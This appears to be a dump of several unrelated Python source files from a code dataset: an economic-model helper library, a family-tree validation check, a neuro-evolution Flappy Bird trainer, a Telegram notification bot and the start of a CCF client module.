\r\n\r\n# wrapper \r\n \r\ndef create_model(navn, hist=0, name='',new=True,finished=False,xmodel=model,straight=False,funks=[]):\r\n '''Creates either a model instance or a model and a historic model from formulars. \\n\r\n The formulars can be in a string or in af file withe the extension .txt \r\n \r\n if:\r\n \r\n :navn: The model as text or as a file with extension .txt\r\n :name: Name of the model \r\n :new: If True, ! used for comments, else () can also be used. False should be avoided, only for old PCIM models. \r\n :hist: If True, a model with calculations of historic value is also created\r\n :xmodel: The model class used for creating model the model instance. Can be used to create models with model subclasses\r\n :finished: If True, the model exploder is not used.\r\n :straight: If True, the formula sequence in the model will be used.\r\n :funks: A list of user defined funktions used in the model \r\n \r\n \r\n \r\n \r\n '''\r\n shortname = navn[0:-4] if '.txt' in navn else name if name else 'indtastet_udtryk'\r\n modeltext = open(navn).read().upper() if '.txt' in navn else navn.upper()\r\n modeltext= modeltext if new else re.sub(r'\\(\\)','!',modeltext)\r\n udrullet = modeltext if finished else mp.explode(modeltext,funks=funks)\r\n pt.check_syntax_model(udrullet)\r\n \r\n if hist:\r\n hmodel = mp.find_hist_model(udrullet)\r\n pt.check_syntax_model(hmodel)\r\n mp.modelprint(hmodel,'Historic calculations ' +shortname,udfil=shortname + '_hist.fru' ,short=False)\r\n return xmodel(udrullet, shortname,straight=straight,funks=funks), xmodel(hmodel, shortname + '_hist',straight=straight,funks=funks)\r\n else:\r\n return xmodel(udrullet, shortname,straight=straight,funks=funks)\r\ndef get_a_value(df,per,var,lag=0):\r\n ''' returns a value for row=p+lag, column = var \r\n \r\n to take care of non additive row index'''\r\n \r\n return df.iat[df.index.get_loc(per)+lag,df.columns.get_loc(var)]\r\n\r\ndef set_a_value(df,per,var,lag=0,value=np.nan):\r\n ''' Sets a value for row=p+lag, column = var \r\n \r\n to take care of non additive row index'''\r\n \r\n df.iat[df.index.get_loc(per)+lag,df.columns.get_loc(var)]=value\r\n \r\ndef insertModelVar(dataframe, model=None):\r\n \"\"\"Inserts all variables from model, not already in the dataframe.\r\n Model can be a list of models \"\"\" \r\n if isinstance(model,list):\r\n imodel=model\r\n else:\r\n imodel = [model]\r\n\r\n myList=[]\r\n for item in imodel: \r\n myList.extend(item.allvar.keys())\r\n manglervars = list(set(myList)-set(dataframe.columns))\r\n if len(manglervars):\r\n extradf = pd.DataFrame(0.0,index=dataframe.index,columns=manglervars).astype('float64')\r\n data = pd.concat([dataframe,extradf],axis=1) \r\n return data\r\n else:\r\n return dataframe\r\n\r\ndef lineout(vek,pre='',w=20 ,d=0,pw=20, endline='\\n'):\r\n ''' Utility to return formated string of vector '''\r\n fvek=[float(v) for v in vek]\r\n return f'{pre:<{pw}} '+ \" \".join([f'{f:{w},.{d}f}' for f in fvek])+endline\r\n#print(lineout([1,2,300000000],'Forspalte',pw=10))\r\n\r\ndef dfout(df,pre='',w=2 ,d=0,pw=0):\r\n pw2= pw if pw else max( [len(str(i)) for i in df.index])\r\n return ''.join([lineout(row,index,w,d,pw2) for index,row in df.iterrows()])\r\n \r\n#print(dfout(df.iloc[:,:4],w=10,d=2,pw=10))\r\n\r\ndef upddfold(base,upd):\r\n ''' takes two dataframes. The values from upd is inserted into base ''' \r\n rows = [(i,base.index.get_loc(ind)) for (i,ind) in enumerate(upd.index)]\r\n \r\n locb = {v:i for i,v in enumerate(base.columns)}\r\n cols = [(i,locb[v]) for i,v in enumerate(upd.columns)] \r\n for cu,cb in cols:\r\n for ru,rb in rows :\r\n t=upd.get_value(ru,cu,takeable=True)\r\n base.values[rb,cb] = t\r\n# base.set_value(rb,cb,t,takeable=True)\r\n return base\r\n\r\ndef upddf(base,upd):\r\n ''' takes two dataframes. The values from upd is inserted into base ''' \r\n rows = [(i,base.index.get_loc(ind)) for (i,ind) in enumerate(upd.index)]\r\n \r\n locb = {v:i for i,v in enumerate(base.columns)}\r\n cols = [(i,locb[v]) for i,v in enumerate(upd.columns)] \r\n for cu,cb in cols:\r\n for ru,rb in rows :\r\n t=upd.values[ru,cu]\r\n base.values[rb,cb] = t\r\n return base\r\n\r\ndef randomdf(df,row=False,col=False,same=False,ran=False,cpre='C',rpre='R'):\r\n ''' Randomize and rename the rows and columns of a dataframe, keep the values right:\r\n \r\n :ran: If True randomize, if False don't randomize\r\n :col: The columns are renamed and randdomized\r\n :row: The rows are renamed and randdomized\r\n :same: The row and column index are renamed and randdomized the same way\r\n :cpre: Column name prefix\r\n :rpre: Row name prefix\r\n \r\n ''' \r\n from random import sample\r\n from math import log10\r\n \r\n dfout=df.copy(deep=True)\r\n if ran:\r\n if col or same:\r\n colnames = dfout.columns\r\n dec=str(1+int(log10(len(colnames))))\r\n rancol = sample(list(colnames),k=len(colnames))\r\n coldic = {c : cpre+('{0:0'+dec+'d}').format(i) for i,c in enumerate(rancol)}\r\n dfout = dfout.rename(columns=coldic).sort_index(axis=1)\r\n if same:\r\n dfout = dfout.rename(index=coldic).sort_index(axis=0) \r\n if row and not same: \r\n rownames = dfout.index.tolist()\r\n dec=str(1+int(log10(len(rownames)))) \r\n ranrow = sample(list(rownames),k=len(rownames))\r\n rowdic = {c : rpre+('{0:0'+dec+'d}').format(i) for i,c in enumerate(ranrow)}\r\n dfout = dfout.rename(index=rowdic).sort_index(axis=0)\r\n return dfout \r\n \r\n \r\n\r\ndef join_name_lag(df):\r\n \r\n '''creates a new dataframe where the name and lag from multiindex is joined\r\n as input a dataframe where name and lag are two levels in multiindex \r\n '''\r\n \r\n xl = lambda x: f\"({x[1]})\" if x[1] else \"\"\r\n newindex = [f'{i[0]}{xl(i)}' for i in zip(df.index.get_level_values(0),df.index.get_level_values(1))]\r\n newdf = df.copy()\r\n newdf.index = newindex\r\n return newdf\r\n\r\n \r\n@contextmanager\r\ndef timer(input='test',show=True,short=False):\r\n '''\r\n A timer context manager, implemented using a\r\n generator function. This one will report time even if an exception occurs\"\"\" \r\n\r\n Parameters\r\n ----------\r\n input : string, optional\r\n a name. The default is 'test'.\r\n show : bool, optional\r\n show the results. The default is True.\r\n short : bool, optional\r\n . The default is False.\r\n\r\n Returns\r\n -------\r\n None.\r\n\r\n '''\r\n \r\n start = time.time()\r\n if show and not short: print(f'{input} started at : {time.strftime(\"%H:%M:%S\"):>{15}} ')\r\n try:\r\n yield\r\n finally:\r\n if show: \r\n end = time.time()\r\n seconds = (end - start)\r\n minutes = seconds/60. \r\n if minutes < 2.:\r\n afterdec='1' if seconds >= 10 else ('3' if seconds >= 1 else '10')\r\n print(f'{input} took : {seconds:>{15},.{afterdec}f} Seconds')\r\n else:\r\n afterdec='1' if minutes >= 10 else '4'\r\n print(f'{input} took : {minutes:>{15},.{afterdec}f} Minutes')\r\n \r\n \r\n \r\nif __name__ == '__main__' :\r\n if 0:\r\n#%% Test model \r\n ftest = ''' FRMl <> y = c + i + x $ \r\n FRMl <> yd = 0.6 * y $\r\n frml <> c=0.8*yd $\r\n FRMl <> i = ii+iy $ \r\n FRMl <> ii = x+z $\r\n FRMl <> x = 2 $ \r\n FRML <> dogplace = y *4 $'''\r\n mtest = model(ftest)\r\n mtest.drawall()\r\n mtest.drawendo()\r\n mtest.drawpre('Y')\r\n mtest.todot('Y')\r\n g = mtest.endograph\r\n# print(mtest.strongblock)\r\n# print(mtest.strongtype)\r\n# (list(mtest.treewalk(mtest.allgraph,'Y',lpre=1)))\r\n#%% \r\n if 0:\r\n#%% \r\n if 'base0' not in locals():\r\n with open(r\"models\\mtotal.fru\", \"r\") as text_file:\r\n ftotal = text_file.read()\r\n base0 = pd.read_pickle(r'data\\base0.pc') \r\n adve0 = pd.read_pickle(r'data\\adve0.pc') \r\n base = pd.read_pickle(r'data\\base.pc') \r\n adverse = pd.read_pickle(r'data\\adverse.pc') \r\n #%% Transpile the model \r\n if 1: \r\n tdic={'SHOCK[_A-Z]*__J':'SHOCK__J','SHOCK[_A-Z]*__0':'SHOCK__0','DEV__[_A-Z]*':'DEV','SHOCK__[_A-Z]*':'SHOCK'}\r\n with model.timer('Transpile:'):\r\n mtotal = model(ftotal,straight=False)\r\n b = mtotal(base,'2016q1','2018q4') \r\n a = mtotal(adverse,'2016q1','2018q4',samedata=True) \r\n assert 1==2\r\n mtotal.draw('REA_NON_DEF__DECOM__DE__HH_OTHER_NSME_AIRB',up=1,lag=True)\r\n mtotal.draw('REA_NON_DEF__DECOM__DE__HH_OTHER_NSME_AIRB',up=0,down=5)\r\n mtotal.draw('rcet1__DECOM'.upper(),up=1,down=7,browser=False)\r\n mtotal.draw('rcet1__DECOM'.upper(),uplevel=3,downlevel=7,browser=False)\r\n mtotal.draw('REA_NON_DEF__DECOM__DE__HH_OTHER_NSME_AIRB',up=11,down=8,sink='IMPACT__DE',browser=True,transdic=tdic)\r\n mtotal.draw('imp_loss_total_def__DECOM__DE__HH_OTHER_NSME_AIRB',sink='IMPACT__DE',uplevel=12,downlevel=11,browser=True,transdic=tdic)\r\n# with model.timer('Second calculation new translation :'):\r\n# adverse2 = mtotal(adve0 ,'2016q1','2018Q4',samedata=True,silent=True)\r\n mtotal.impact('REA_NON_DEF__DECOM__DE__HH_OTHER_NSME_AIRB',leq=1)\r\n# mtotal.impact('REA_NON_DEF__DECOM__DE__HH_OTHER_NSME_AIRB',ldekomp=1)\r\n#%% \r\n if 0:\r\n#%% Get a plain model \r\n with model.timer('MAKE model and base+adverse'):\r\n mtotal = model(ftotal,straight=True)\r\n base2 = mtotal(base0 ,'2016q1','2018Q4',samedata=True,silent=True)\r\n adverse2 = mtotal(adve0 ,'2016q1','2018Q4',samedata=True,silent=True,sim=True,max_iterations =3)\r\n assert (base2 == base).all().all()\r\n assert (adverse2 == adverse).all().all()\r\n#%%\r\n if 0:\r\n a=mtotal.vis('PD__*__CY').plot(ppos=-2)\r\n compvis(mtotal,'PD__FF_HH_H*').box()\r\n\r\n #%%\r\n if 1:\r\n#%% a simpel model \r\n numberlines = 3\r\n df = pd.DataFrame({'A':[1.,2.,0.0002,4004.00003] , 'B':[10.,20.,30.,40.] })\r\n df2 = pd.DataFrame({'A':[1.,2.,0.0002,4010.00003] , 'B':[10.,20.,30.,50.] })\r\n m2test=model('frml d = log(11) $ \\n frml xx yy = a0 + yy(-1)+yy(-2) + +horse**3 + horse(-1)+horse(-2) $'+''.join(['FRMl <> a'+str(i)+\r\n '=a +'+str(i) + ' +c $ frml xx d'+str(i) + ' = log(1)+abs(a) $' \r\n for i in range(numberlines)]))\r\n yy=m2test(df)\r\n yy=m2test(df2)\r\n m2test.A1.showdif\r\n if 0:\r\n m2test.drawmodel(invisible={'A2'})\r\n m2test.drawmodel(cluster = {'test1':['horse','A0','A1'],'test2':['YY','D0']},sink='D2')\r\n m2test.drawendo(last=1,size=(2,2))\r\n m2test.drawmodel(all=1,browser=0,lag=0,dec=4,HR=0,title='test2',invisible={'A2'},labels={'A0':'This is a test'})\r\n print(m2test.equations.replace('$','\\n'))\r\n print(m2test.todynare(paravars=['HORSE','C'],paravalues=['C=33','HORSE=42']))\r\n#%% \r\n# m2test.drawmodel(transdic={'D[0-9]':'DDD'},last=1,browser=1)\r\n# m2test.drawmodel(transdic={'D[0-9]':'DDD'},lag=False)\r\n# m2test.draw('A0',transdic={'D[0-9]':'DDD'},sink='A',lag=1,all=1)\r\n#%% \r\n if 0:\r\n df = pd.DataFrame({'Z': [1., 2., 3,4] , 'TY':[10.,20.,30.,40.] ,'YD':[10.,20.,30.,40.]},index= [2017,2018,2019,2020])\r\n df2 = pd.DataFrame({'Z':[1., 22., 33,43] , 'TY':[10.,20.,30.,40.] ,'YD':[10.,20.,30.,40.]},index=[2017,2018,2019,2020])\r\n ftest = ''' \r\n FRMl <> ii = x+z $\r\n frml <> c=0.8*yd $\r\n FRMl <> i = ii+iy $ \r\n FRMl <> x = 2 $ \r\n FRMl <> y = c + i + x+ i(-1)$ \r\n FRMl <> yX = 0.6 * y $\r\n FRML <> dogplace = y *4 $'''\r\n m2=model(ftest)\r\n# m2.drawmodel()\r\n m2(df)\r\n m2(df2)\r\n m2.Y.explain(select=True,showatt=True,HR=False,up=3)\r\n# g = m2.ximpact('Y',select=True,showatt=True,lag=True,pdf=0)\r\n m2.Y.explain(select=0,up=4,pdf=1)\r\n# m2.Y.dekomp(lprint=1)\r\n print(m2['I*'])\r\n \r\n if 0:\r\n\r\n def f1(e):\r\n return 42\r\n \r\n def f2(c):\r\n return 103\r\n df=pd.DataFrame({'A':[1,2],'B':[2,3]})\r\n mtest =model('frml <> a=b(-1) $',funks =[f1,f2])\r\n print(mtest.outeval(df)) \r\n res = mtest(df)\r\n print(mtest.outsolve())\r\n res2=mtest(df)\r\n res3=mtest(df)\r\n if 0: \r\n#%% \r\n fx = '''\r\n FRML x = y $ \r\n FRML y = 1-r*x +p*x**2 $ \r\n '''\r\n mx = create_model(fx,straight=True)\r\n df = pd.DataFrame({'X' : [0.2,0.2] , 'Y' :[0.,0.] , 'R':[1.,0.4] , 'P':[0.,0.4]})\r\n df\r\n \r\n a = mx(df,max_iterations =50,silent=False,alfa=0.8,relconv=0.000001,conv='X',\r\n debug=False,ldumpvar=0,stats=True,ljit=True)\r\n b = mx.res(df)\r\n with model.timer('dddd') as t:\r\n u=2*2\r\n \r\n smallmodel = '''\r\nfrml <> a = c(-1) + b $ \r\nfrml <> d1 = x + 3 * a(-1)+ c **2 +a $ \r\nfrml <> d3 = x + 3 * a(-1)+c **3 $ \r\nFrml <> x = 0.5 * c +a(+1)$'''\r\n mmodel = model(smallmodel)\r\n mmodel.drawendo()\r\n mmodel.drawendo_lag_lead()\r\n mmodel.drawmodel()\r\n#%%\r\n print(list(m2test.current_per))\r\n with m2test.set_smpl(0,0):\r\n print(list(m2test.current_per))\r\n with m2test.set_smpl(0,2):\r\n print(list(m2test.current_per))\r\n print(list(m2test.current_per))\r\n print(list(m2test.current_per))\r\n#%%\r\n print(list(m2test.current_per))\r\n with m2test.set_smpl_relative(-333):\r\n print(list(m2test.current_per))\r\n print(list(m2test.current_per))","sub_path":"modelclass.py","file_name":"modelclass.py","file_ext":"py","file_size_in_byte":206543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"43211259","text":"from datetime import date\n\ndef siblingsnotmarry():\n userStoryName('US11')\n results = get_family()\n indi = get_people()\t\n for res in results:\n if \"CHILDREN\" in res:\n child = res['CHILDREN']\n childd = list( x for x in indi if x[\"ID\"] in child)\n #print childd \n for sibling in childd:\n sib_fam = next((x for x in results if x[\"HUSBAND\"] == sibling[\"ID\"]),None)\n #print sib_fam \n if sib_fam and sib_fam[\"WIFE\"] in child:\n message = \"Sibling is married to another sibling\"\n #save_invalid_family_for_print(sib_fam[\"FAMID\"], \"US11\", message)\n \n \n","sub_path":"US11_SiblingsnotMarry.py","file_name":"US11_SiblingsnotMarry.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"508531693","text":"import pygame\nimport pygame.locals as locals\nimport random\nimport numpy as np\nimport neural_network\nimport aigame_config as config\nimport evolution\n# import numpy as np\nimport os\n\npygame.init()\n\n\nclass Pipe(object):\n # 图片\n BTM_IMG = pygame.image.load(\"./res/pipe.png\")\n TOP_IMG = pygame.transform.rotate(BTM_IMG, 180)\n min_visual_value = 80\n WIDTH = BTM_IMG.get_width()\n HEIGHT = BTM_IMG.get_height()\n\n def __init__(self):\n self.x = Game.SIZE[0]\n # 上下管道的管口Y坐标\n self.top_y = random.randint(Pipe.min_visual_value, Game.SIZE[1] - Game.PIPE_GAP_SIZE - Pipe.min_visual_value)\n self.btm_y = self.top_y + Game.PIPE_GAP_SIZE\n self.alive = True\n self.score = 1\n\n def draw(self, surface):\n surface.blit(Pipe.TOP_IMG, (self.x, self.top_y - Pipe.HEIGHT))\n surface.blit(Pipe.BTM_IMG, (self.x, self.btm_y))\n\n def update(self):\n self.x -= 5\n if self.x < -Pipe.WIDTH:\n self.alive = False\n\n\nclass PipeManager(object):\n def __init__(self, score):\n self.pipes = [Pipe()]\n self.count = 0\n self.create_times = random.randint(45, 55)\n\n def drawPipes(self, surface):\n for pipe in self.pipes:\n pipe.draw(surface)\n\n def updatePipes(self):\n self.createPipe()\n index = len(self.pipes) - 1\n while index >= 0:\n pipe = self.pipes[index]\n if pipe.alive:\n pipe.update()\n else:\n self.pipes.remove(pipe)\n pass\n index -= 1\n\n def createPipe(self):\n self.count += 1\n if self.count % self.create_times == 0:\n self.pipes.append(Pipe())\n self.count = 0\n self.create_times = random.randint(45, 55)\n\n\nclass Bird(object):\n IMG = pygame.image.load(\"./res/bird.png\")\n WIDTH = IMG.get_width()\n HEIGHT = IMG.get_height()\n\n def __init__(self, netwoek):\n self.x = 50\n self.y = 200\n self.speed = 0\n self.fly_speed = -8\n self.max_speed = 8\n self.alive = True\n self.neural_netwoek = netwoek\n\n def draw(self, surface):\n surface.blit(Bird.IMG, (self.x, self.y))\n\n def update(self):\n self.y += self.speed\n self.speed += 1\n if self.speed >= self.max_speed:\n self.speed = self.max_speed\n if self.y <= 0 or self.y + Bird.HEIGHT >= Game.SIZE[1]:\n self.alive = False\n\n def fly(self):\n self.speed = self.fly_speed\n\n def collision(self, pipes):\n for pipe in pipes:\n # 判断当前管道是否被小鸟飞跃(没有飞跃)\n if self.x < pipe.x + Pipe.WIDTH:\n if self.x + Bird.WIDTH > pipe.x and self.x < pipe.x + Pipe.WIDTH:\n if self.y < pipe.top_y or self.y + Bird.HEIGHT > pipe.btm_y:\n self.alive = False\n return True\n return False\n\n def get_inputs(self, pipes):\n pipe = None\n for p in pipes:\n if self.x < p.x + Pipe.WIDTH:\n pipe = p\n break\n inputs = []\n for _ in range(config.network[0]):\n inputs.append(0.0)\n inputs[0] = self.y / Game.SIZE[1]\n if pipe:\n inputs[1] = (self.x + Bird.WIDTH) - pipe.x\n inputs[2] = self.x - (pipe.x + Pipe.WIDTH)\n inputs[3] = self.y - pipe.top_y\n inputs[4] = (self.y + Bird.HEIGHT) - pipe.btm_y\n return inputs\n\n\nclass BirdManager(object):\n def __init__(self, ai):\n self.birds = []\n self.ai = ai\n network_data_list = self.ai.manager.create_generation()\n for network_data in network_data_list:\n network = neural_network.NeuralNetwork(config.network[0], config.network[1], config.network[2])\n network.setNetwork(network_data)\n bird = Bird(network)\n self.birds.append(bird)\n\n def drawBirds(self, surface):\n for bird in self.birds:\n bird.draw(surface)\n\n def updateBirds(self, pipes, score):\n index = len(self.birds) - 1\n while index >= 0:\n bird = self.birds[index]\n if bird.alive:\n inputs = bird.get_inputs(pipes)\n ret = bird.neural_netwoek.getResult(inputs)\n if ret[0] > 0.5:\n bird.fly()\n bird.update()\n else:\n self.ai.collect_score(bird.neural_netwoek, score)\n self.birds.remove(bird)\n index -= 1\n\n def collision(self, pipes):\n for bird in self.birds:\n bird.collision(pipes)\n\n def is_all_died(self):\n if len(self.birds) == 0:\n return True\n return False\n\n\nclass Score(object):\n def __init__(self):\n self.score = 0\n self.all_imgs = []\n for i in range(10):\n img = pygame.image.load(\"./res/\" + str(i) + \".png\")\n self.all_imgs.append(img)\n self.x = 0\n self.y = 30\n self.imgs = [] # 需要绘制的图片\n\n def draw(self, surface):\n pre_width = 0\n for img in self.imgs:\n surface.blit(img, (self.x + pre_width, self.y))\n self.x = self.x + pre_width\n pre_width = img.get_width()\n\n def update(self):\n self.imgs.clear()\n # 设计一个函数,将一个数字的各个位进行拆分,以元祖的形式返回\n indexs = self.splitScore()\n for i in indexs:\n self.imgs.append(self.all_imgs[i])\n width = 0\n for img in self.imgs:\n width += img.get_width()\n self.x = Game.SIZE[0] / 2 - width / 2\n\n def splitScore(self):\n index_list = []\n i = 1\n score = self.score\n while True:\n ret = score % 10\n index_list.insert(0, ret)\n score = int(self.score / 10 ** i)\n if score == 0:\n break\n i += 1\n return tuple(index_list)\n\n\nclass Evolution_ANN_AI(object):\n def __init__(self):\n self.manager = evolution.GenerationManager()\n\n def collect_score(self, network, score):\n genome = evolution.Genome(network.getNetwork(), score)\n self.manager.add_genome(genome)\n\n\nclass Game(object):\n SIZE = (360, 420)\n FPS = 500\n PIPE_GAP_SIZE = 80\n\n def __init__(self):\n self.surface = pygame.display.set_mode(Game.SIZE)\n self.clock = pygame.time.Clock()\n self.ai = Evolution_ANN_AI()\n self.generation_num = 0\n self.game_init()\n\n def game_init(self):\n self.time = 0\n self.score = 0\n self.gameRunning = True\n self.birdManger = BirdManager(self.ai)\n self.pipeManager = PipeManager(self.score)\n self.generation_num += 1\n\n def start(self):\n while self.gameRunning:\n self.control()\n self.update()\n self.draw()\n pygame.display.update() # 提交绘制内容\n print(\"世代:\", self.generation_num, \"存活数量:\", len(self.birdManger.birds), \"分数:\", self.score)\n if self.score >= 5000 and not os.path.exists(\"my_modle.csv\"):\n data = self.birdManger.birds[0].neural_netwoek.getNetwork()\n weight_array = np.array(data['weights'])\n np.savetxt(\"./res/my_modle.csv\", weight_array, delimiter=',')\n break\n self.time += self.clock.tick(Game.FPS)\n # print(self.time)\n\n def draw(self):\n # 绘制背景\n self.surface.fill((160, 160, 160))\n self.pipeManager.drawPipes(self.surface)\n self.birdManger.drawBirds(self.surface)\n # self.score.draw(self.surface)\n\n def update(self):\n if self.birdManger.is_all_died():\n self.restart()\n return\n self.birdManger.collision(self.pipeManager.pipes)\n self.pipeManager.updatePipes()\n self.birdManger.updateBirds(self.pipeManager.pipes, self.score)\n # self.score.update()\n self.score += 1\n\n def control(self):\n # pygame.mouse.get_pos()#获取鼠标的坐标(当前窗口内的相对坐标)\n # pygame.mouse.get_pressed()#鼠标的点击状态(0,0,0)\n for event in pygame.event.get():\n if event.type == locals.QUIT:\n self.stop()\n\n def stop(self):\n self.gameRunning = False\n\n def restart(self):\n self.game_init()\n\n\nif __name__ == '__main__':\n game = Game()\n game.start()\n","sub_path":"game_train.py","file_name":"game_train.py","file_ext":"py","file_size_in_byte":8547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"329037307","text":"import json\nfrom datetime import datetime, timedelta\nimport requests\n\nfrom nilva_TelegramBot.add_notif_tracker import add_title\nfrom nilva_TelegramBot.config import bot, conn, crsr, AuthUser, NewNotif, EditingNotif, DeletingNotif, GET_NOTIF_URL, \\\n API_TOKEN_URL\nfrom nilva_TelegramBot.decorators import authorize\nfrom nilva_TelegramBot.delete_notif_tracker import get_id_for_delete\nfrom nilva_TelegramBot.edit_notif_tracker import get_id_for_edit\nfrom nilva_TelegramBot.login_tracker import get_username\n\n\n@bot.message_handler(commands=['start', ])\ndef start(message):\n chat_id = message.from_user.id\n bot.send_message(chat_id, 'بسم اللّه الرحمن الرحیم\\n\\nبرای آگاهی از امکانات ربات:\\n/help')\n\n\n@bot.message_handler(commands=['help', ])\ndef help(message):\n chat_id = message.from_user.id\n bot.send_message(chat_id, '/login\\n\\n/get_all_notifs\\n\\n/add_notif\\n\\n/edit_notif\\n\\n/delete_notif\\n\\n/quit ('\n 'finishing any process)')\n\n\n@bot.message_handler(commands=['login', ])\ndef login(message):\n chat_id = message.from_user.id\n\n insert_with_params = \"\"\"SELECT * FROM User WHERE chat_id = (?);\"\"\"\n data_tuple = (chat_id,)\n crsr.execute(insert_with_params, data_tuple)\n rows = crsr.fetchall()\n if len(rows) == 1:\n bot.send_message(chat_id, 'You are logged in 😊')\n return\n\n msg = bot.send_message(chat_id, 'Username')\n bot.register_next_step_handler(msg, get_username)\n\n\n@bot.message_handler(commands=['get_all_notifs', ])\n@authorize\ndef get_all_notifs(message):\n chat_id = message.from_user.id\n insert_with_params = \"\"\"SELECT * FROM User WHERE chat_id = (?);\"\"\"\n data_tuple = (chat_id,)\n crsr.execute(insert_with_params, data_tuple)\n rows = crsr.fetchall()\n\n username, password = rows[0][1], rows[0][2]\n request = requests.post(API_TOKEN_URL, data={'username': username, 'password': password}).json()\n token = request['access']\n headers = {'Authorization': f'Bearer {token}'}\n\n request = requests.get(GET_NOTIF_URL, headers=headers).json()\n\n output = ''\n for r in request:\n if username in r['relevant_staff'].split(', '):\n output += '{\\n'\n for key in r:\n output += ' ' + key + ' : ' + str(r[key]) + '\\n'\n output += '}\\n'\n\n bot.send_message(chat_id, output)\n\n\n@bot.message_handler(commands=['add_notif', ])\n@authorize\ndef add_notif(message):\n chat_id = message.from_user.id\n msg = bot.send_message(chat_id, 'title')\n bot.register_next_step_handler(msg, add_title)\n\n\n@bot.message_handler(commands=['edit_notif', ])\n@authorize\ndef edit_notif(message):\n chat_id = message.from_user.id\n bot.send_message(chat_id, 'in each section you can type for passing and not editing that')\n msg = bot.send_message(chat_id, 'id')\n bot.register_next_step_handler(msg, get_id_for_edit)\n\n\n@bot.message_handler(commands=['delete_notif', ])\n@authorize\ndef delete_notif(message):\n chat_id = message.from_user.id\n msg = bot.send_message(chat_id, 'id')\n bot.register_next_step_handler(msg, get_id_for_delete)\n\n\ndef send_notif(notif):\n insert_with_params = \"\"\"SELECT * FROM User WHERE username IN (?);\"\"\"\n data_tuple = (notif.relevant_staff,)\n crsr.execute(insert_with_params, data_tuple)\n rows = crsr.fetchall()\n\n for row in rows:\n chat_id = row[0][3]\n text = notif.title + '\\n\\n' + notif.description + '\\n\\n' + 'from Nilva Team'\n bot.send_message(chat_id, text)\n\n\n@bot.message_handler(commands=['test', ])\ndef test(message):\n chat_id = message.from_user.id\n msg = bot.send_message(chat_id, 'first')\n bot.register_next_step_handler(msg, test_register_next_step_handler, a=1, b=2)\n print(10000000000000000000000000000)\n\n\ndef test_register_next_step_handler(message, **kwargs):\n chat_id = message.from_user.id\n msg = bot.send_message(chat_id, str(kwargs))\n\n\nbot.polling()\n","sub_path":"nilva_TelegramBot/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3955,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"517918450","text":"# Copyright (c) Microsoft Corporation. All rights reserved.\n# Licensed under the Apache 2.0 License.\nimport contextlib\nimport json\nimport time\nimport os\nimport subprocess\nimport tempfile\nimport urllib.parse\nfrom http.client import HTTPResponse\nfrom io import BytesIO\nfrom requests.adapters import HTTPAdapter\nfrom urllib3.util.ssl_ import create_urllib3_context\nfrom cryptography import x509\nfrom cryptography.hazmat.backends import default_backend\nimport struct\n\nimport requests\nfrom loguru import logger as LOG\nfrom requests_http_signature import HTTPSignatureAuth\nimport websocket\n\n\ndef truncate(string, max_len=256):\n if len(string) > max_len:\n return string[: max_len - 3] + \"...\"\n else:\n return string\n\n\nCCF_TX_SEQNO_HEADER = \"x-ccf-tx-seqno\"\nCCF_TX_VIEW_HEADER = \"x-ccf-tx-view\"\n# Deprecated, will be removed\nCCF_GLOBAL_COMMIT_HEADER = \"x-ccf-global-commit\"\n\n\nclass Request:\n def __init__(\n self, method, params=None, http_verb=\"POST\", headers=None, params_in_query=None\n ):\n if headers is None:\n headers = {}\n\n if params_in_query is None:\n params_in_query = http_verb == \"GET\"\n\n self.method = method\n self.params = params\n self.http_verb = http_verb\n self.headers = headers\n self.params_in_query = params_in_query\n\n\ndef int_or_none(v):\n return int(v) if v is not None else None\n\n\nclass FakeSocket:\n def __init__(self, bs):\n self.file = BytesIO(bs)\n\n def makefile(self, *args, **kwargs):\n return self.file\n\n\nclass Response:\n def __init__(self, status, result, error, seqno, view, global_commit, headers):\n self.status = status\n self.result = result\n self.error = error\n self.seqno = seqno\n self.view = view\n self.global_commit = global_commit\n self.headers = headers\n\n def to_dict(self):\n d = {\n \"seqno\": self.seqno,\n \"global_commit\": self.global_commit,\n \"view\": self.view,\n }\n if self.result is not None:\n d[\"result\"] = self.result\n else:\n d[\"error\"] = self.error\n return d\n\n def __str__(self):\n versioned = (self.view, self.seqno) != (None, None)\n body = self.result if f\"{self.status}\"[0] == \"2\" else self.error\n return (\n f\"{self.status} \"\n + (f\"@{self.view}.{self.seqno} \" if versioned else \"\")\n + truncate(f\"{body}\")\n )\n\n @staticmethod\n def from_requests_response(rr):\n content_type = rr.headers.get(\"content-type\")\n if content_type == \"application/json\":\n parsed_body = rr.json()\n elif content_type == \"text/plain\":\n parsed_body = rr.text\n elif content_type is None:\n parsed_body = None\n else:\n raise ValueError(f\"Unhandled content type: {content_type}\")\n\n return Response(\n status=rr.status_code,\n result=parsed_body if rr.ok else None,\n error=None if rr.ok else parsed_body,\n seqno=int_or_none(rr.headers.get(CCF_TX_SEQNO_HEADER)),\n view=int_or_none(rr.headers.get(CCF_TX_VIEW_HEADER)),\n global_commit=int_or_none(rr.headers.get(CCF_GLOBAL_COMMIT_HEADER)),\n headers=rr.headers,\n )\n\n @staticmethod\n def from_raw(raw):\n sock = FakeSocket(raw)\n response = HTTPResponse(sock)\n response.begin()\n raw_body = response.read(raw)\n ok = response.status == 200\n\n content_type = response.headers.get(\"content-type\")\n if content_type == \"application/json\":\n parsed_body = json.loads(raw_body)\n elif content_type == \"text/plain\":\n parsed_body = raw_body.decode()\n elif content_type is None:\n parsed_body = None\n else:\n raise ValueError(f\"Unhandled content type: {content_type}\")\n\n return Response(\n status=response.status,\n result=parsed_body if ok else None,\n error=None if ok else parsed_body,\n seqno=int_or_none(response.getheader(CCF_TX_SEQNO_HEADER)),\n view=int_or_none(response.getheader(CCF_TX_VIEW_HEADER)),\n global_commit=int_or_none(response.getheader(CCF_GLOBAL_COMMIT_HEADER)),\n headers=response.headers,\n )\n\n\ndef human_readable_size(n):\n suffixes = (\"B\", \"KB\", \"MB\", \"GB\")\n i = 0\n while n >= 1024 and i < len(suffixes) - 1:\n n /= 1024.0\n i += 1\n return f\"{n:,.2f} {suffixes[i]}\"\n\n\nclass RPCLogger:\n def log_request(self, request, name, description):\n LOG.info(\n f\"{name} {request.http_verb} /{request.method}\"\n + (truncate(f\" 